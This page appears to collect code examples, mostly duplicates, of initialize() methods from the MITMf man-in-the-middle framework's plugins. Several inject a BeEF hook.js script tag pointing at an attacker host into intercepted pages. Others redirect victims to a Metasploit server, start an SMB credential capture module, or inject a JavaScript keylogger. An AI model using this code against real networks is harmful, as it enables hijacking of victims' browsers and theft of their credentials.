Пример #1
0
    def initialize(self, options):
        Inject.initialize(self, options)
        self.target_ip = options.host
        self.html_payload = self._get_data()

        if not self.target_ip:
            self.target_ip = options.ip_address
Пример #2
0
	def initialize(self, options):
		self.options = options
		self.autoruncfg =  options.autoruncfg
		self.hookip = options.hookip
		self.beefip = options.beefip
		self.beefport = options.beefport
		self.beefuser = options.beefuser
		self.beefpass = options.beefpass
		self.dis_inject = options.dis_inject

		beef = beefapi.BeefAPI({"host": self.beefip, "port": self.beefport})
		if beef.login(self.beefuser, self.beefpass):
			print "[*] Successfully logged in to BeEF"
		else:
			sys.exit("[-] Error logging in to BeEF!")

		userconfig = ConfigObj(self.autoruncfg)
		self.Mode = userconfig['mode']

		self.All_modules = userconfig["ALL"]
		self.Targeted_modules = userconfig["targets"]

		if self.dis_inject:
			if not self.hookip:
				sys.exit("[-] BeEFAutorun requires --hookip")
			Inject.initialize(self, options)
			self.count_limit = 1
			self.html_payload = '<script type="text/javascript" src="http://%s:%s/hook.js"></script>' % (self.hookip, self.beefport)

		print "[*] BeEFAutorun plugin online => Mode: %s" % self.Mode
		t = threading.Thread(name="autorun", target=self.autorun, args=(beef,))
		t.setDaemon(True)
		t.start()
Пример #3
0
	def initialize(self, options):
		self.options = options
		self.autoruncfg =  options.autoruncfg
		self.hookip = options.hookip
		self.beefip = options.beefip
		self.beefport = options.beefport
		self.beefuser = options.beefuser
		self.beefpass = options.beefpass
		self.dis_inject = options.dis_inject

		beef = beefapi.BeefAPI({"host": self.beefip, "port": self.beefport})
		if beef.login(self.beefuser, self.beefpass):
			print "[*] Successfully logged in to BeEF"
		else:
			sys.exit("[-] Error logging in to BeEF!")

		userconfig = ConfigObj(self.autoruncfg)
		self.Mode = userconfig['mode']

		self.All_modules = userconfig["ALL"]
		self.Targeted_modules = userconfig["targets"]

		if self.dis_inject:
			if not self.hookip:
				sys.exit("[-] BeEFAutorun requires --hookip")
			Inject.initialize(self, options)
			self.count_limit = 1
			self.html_payload = '<script type="text/javascript" src="http://%s:%s/hook.js"></script>' % (self.hookip, self.beefport)

		print "[*] BeEFAutorun plugin online => Mode: %s" % self.Mode
		t = threading.Thread(name="autorun", target=self.autorun, args=(beef,))
		t.setDaemon(True)
		t.start()
Пример #4
0
    def initialize(self, options):
        Inject.initialize(self, options)
        self.target_ip = options.host
        self.html_payload = self._get_data()

        if not self.target_ip:
            self.target_ip = options.ip_address
Пример #5
0
	def initialize(self, options):
		self.options    = options
		self.ip_address = SystemConfig.getIP(options.interface)

		Inject.initialize(self, options)

		self.tree_output.append("Mode: {}".format(self.config['BeEFAutorun']['mode']))
		self.onConfigChange()
Пример #6
0
    def initialize(self, options):
        self.options = options
        self.ip_address = SystemConfig.getIP(options.interface)

        Inject.initialize(self, options)

        self.tree_info.append("Mode: {}".format(
            self.config['BeEFAutorun']['mode']))
        self.onConfigChange()
Пример #7
0
 def initialize(self, options):
     Inject.initialize(self, options)
     self.target_ip = options.msf_lhost
     self.html_payload = self._get_data()
     if options.start_auth_sniffer and options.msf_rc == "/tmp/tmp.rc":
         options.msf_user = "******"
         f = open(options.msf_rc, "a")
         f.write("use server/capture/smb\n")
         f.write("exploit -j\n")
         f.close()
Пример #8
0
 def initialize(self,options):
     Inject.initialize(self,options)
     self.target_ip = options.msf_lhost
     self.html_payload = self._get_data()
     if options.start_auth_sniffer and options.msf_rc == "/tmp/tmp.rc":
         options.msf_user = "******"
         f = open(options.msf_rc,"a")
         f.write("use server/capture/smb\n")
         f.write("exploit -j\n")
         f.close()
Пример #9
0
    def initialize(self, options):
        Inject.initialize(self, options)
        self.target_ip = options.host
        self.html_payload = self._get_data()

        if self.target_ip is None:
            try:
                self.target_ip = get_if_addr(options.interface)
                if self.target_ip == "0.0.0.0":
                    sys.exit("[-] Interface %s does not have an IP address" %
                             options.interface)
            except Exception, e:
                sys.exit("[-] Error retrieving interface IP address: %s" % e)
Пример #10
0
	def initialize(self, options):
		self.options    = options
		self.ip_address = SystemConfig.getIP(options.interface)

		Inject.initialize(self, options)

		self.tree_info.append("Mode: {}".format(self.config['BeEFAutorun']['mode']))

		beefconfig = self.config['MITMf']['BeEF']

		self.html_payload = '<script type="text/javascript" src="http://{}:{}/hook.js"></script>'.format(self.ip_address, beefconfig['beefport'])

		self.beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']})
		if not self.beef.login(beefconfig['user'], beefconfig['pass']):
			shutdown("[BeEFAutorun] Error logging in to BeEF!")
Пример #11
0
 def initialize(self, options):
     '''Called if plugin is enabled, passed the options namespace'''
     Inject.initialize(self, options)
     self.html_src = options.msf_uri
     self.js_src = options.js_url
     self.rate_limit = 2
     if self.html_src == self.js_src == "" and not options.startmsf:
         if options.msf_uripath and options.msf_lhost:
             self.html_src = "http://%s:8080%s" %\
                                 (options.msf_lhost,options.msf_uripath)
         else:
             from plugins.StartMSF import StartMSF
             StartMSF.initialize(options)
             self.html_src = "http://%s:8080/" % options.msf_lhost
     if options.startmsf:
         if not options.msf_lhost:
             options.msf_lhost = raw_input(
                 "Local IP not provided. Please enter now: ")
         self.html_src = "http://%s:8080%s" %\
                             (options.msf_lhost,options.msf_uripath)
     print self.html_src
Пример #12
0
 def initialize(self,options):
     '''Called if plugin is enabled, passed the options namespace'''
     Inject.initialize(self,options)
     self.html_src = options.msf_uri
     self.js_src = options.js_url
     self.rate_limit = 2
     if self.html_src == self.js_src == "" and not options.startmsf:
         if options.msf_uripath and options.msf_lhost:
             self.html_src = "http://%s:8080%s" %\
                                 (options.msf_lhost,options.msf_uripath)
         else:
             from plugins.StartMSF import StartMSF
             StartMSF.initialize(options)
             self.html_src = "http://%s:8080/" % options.msf_lhost 
     if options.startmsf:
             if not options.msf_lhost:
                 options.msf_lhost = raw_input(
                                     "Local IP not provided. Please enter now: ")
             self.html_src = "http://%s:8080%s" %\
                                 (options.msf_lhost,options.msf_uripath)
     print self.html_src
Пример #13
0
    def initialize(self, options):
        self.target_ip = SystemConfig.getIP(options.interface)

        Inject.initialize(options)
        self.html_payload = self._get_data()
Пример #14
0
    def initialize(self, options):
        self.output = {}  # so other plugins can access the results

        Inject.initialize(self, options)
        self.html_payload = self.get_payload()
Пример #15
0
		try:
			beefconfig = options.configfile['MITMf']['BeEF']
		except Exception, e:
			sys.exit("[-] Error parsing BeEF options in config file: " + str(e))
		
		try:
			userconfig = options.configfile['BeEFAutorun']
		except Exception, e:
			sys.exit("[-] Error parsing config for BeEFAutorun: " + str(e))
		
		self.Mode = userconfig['mode']
		self.All_modules = userconfig["ALL"]
		self.Targeted_modules = userconfig["targets"]

		Inject.initialize(self, options)
		self.black_ips = []
		self.html_payload = '<script type="text/javascript" src="http://%s:%s/hook.js"></script>' % (self.ip_address, beefconfig['beefport'])
		
		beef = beefapi.BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']})
		if not beef.login(beefconfig['user'], beefconfig['pass']):
			sys.exit("[-] Error logging in to BeEF!")

		print "|  |_ Mode: %s" % self.Mode
		t = threading.Thread(name="autorun", target=self.autorun, args=(beef,))
		t.setDaemon(True)
		t.start()

	def autorun(self, beef):
		already_ran    = []
		already_hooked = []
Пример #16
0
	def initialize(self, options):
		self.interval = 10 or options.interval
		Inject.initialize(self, options)
		self.html_payload = self.get_payload()
Пример #17
0
    def initialize(self, options):
        self.target_ip = SystemConfig.getIP(options.interface)

        Inject.initialize(options)
        self.html_payload = self._get_data()
Пример #18
0
 def initialize(self, options):
     Inject.initialize(self, options)
     self.html_payload = self.msf_keylogger()
Пример #19
0
        try:
            beefconfig = options.configfile['MITMf']['BeEF']
        except Exception, e:
            sys.exit("[-] Error parsing BeEF options in config file: " +
                     str(e))

        try:
            userconfig = options.configfile['BeEFAutorun']
        except Exception, e:
            sys.exit("[-] Error parsing config for BeEFAutorun: " + str(e))

        self.Mode = userconfig['mode']
        self.All_modules = userconfig["ALL"]
        self.Targeted_modules = userconfig["targets"]

        Inject.initialize(self, options)
        self.black_ips = []
        self.html_payload = '<script type="text/javascript" src="http://%s:%s/hook.js"></script>' % (
            self.ip_address, beefconfig['beefport'])

        beef = BeefAPI({
            "host": beefconfig['beefip'],
            "port": beefconfig['beefport']
        })
        if not beef.login(beefconfig['user'], beefconfig['pass']):
            sys.exit("[-] Error logging in to BeEF!")

        self.tree_output.append("Mode: %s" % self.Mode)

        t = threading.Thread(name="autorun",
                             target=self.autorun,
Пример #20
0
 def initialize(self, options):
     Inject.initialize(self, options)
     self.target_ip = options.host
     self.html_payload = self._get_data()
     print "[*] SMBAuth plugin online"
Пример #21
0
 def initialize(self, options):
     self.interval = 10 or options.interval
     Inject.initialize(self, options)
     self.html_payload = self.get_payload()
Пример #22
0
 def initialize(self, options):
     Inject.initialize(self, options)
     self.html_payload = self.msf_keylogger()
Пример #23
0
 def initialize(self,options):
     Inject.initialize(self, options)
     self.html_payload = self.msf_keylogger()
     print "[*] Javascript Keylogger plugin online"
Пример #24
0
    def initialize(self, options):
        Inject.initialize(self, options)
        self.html_payload = self.msf_keylogger()

        print "[*] Javascript Keylogger plugin online"